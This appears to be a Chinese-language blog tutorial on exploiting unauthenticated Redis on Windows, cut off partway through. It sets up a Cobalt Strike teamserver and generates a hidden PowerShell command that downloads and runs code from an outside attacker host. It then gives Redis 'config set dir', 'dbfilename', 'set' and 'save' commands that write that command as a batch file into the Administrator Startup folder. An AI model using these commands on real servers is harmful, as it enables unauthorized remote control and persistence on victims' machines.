Windows环境下redis未授权访问的利用
linux环境下redis未授权访问获取权限的文章教程很多也比较全,但是在windows下的利用文章确鲜少。windows下的利用可以通过启动项获取权限或者获取网站绝对路径写入wenshell(当然肯定还有其他的方法),简单记录一下。
- 0x01 背景
前面搞到了一个redis未授权访问,想通过定时任务获取权限,结果:
虽然有可能是其他原因,后面的进一步测试才发现,目标主机是一台windows,/var/spool/cron是linux的crontab计划任务,如果是windows的话,可以使用启动项。
- 0x02 写入启动项
windows下启动项的目录为:
C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/
内网中在这里我选在CS做C2,先启动一个服务端:
./teamserver x.x.x.x 555
客户端连接,添加一个listener:
选择刚才的listener,launch生成代码:
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://129.x.x.x:80/a'))"
保存为1.bat。本地启动redis服务端,并未授权访问:
config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" +OK config set dbfilename 1.bat +OK set x “\r\n\r\npowershell.exe -nop -w hidden -c ”IEX ((new-object net.webclient).downloadstring(‘http://129.x.x.x:80/a’))”\r\n\r\n” +OK save +OK
这里因为权限问题,换了一台靶机,没有截图,重启靶机(这是比较坑的地方),因为靶机可以出网,选择了一台公网的vps做CS服务端: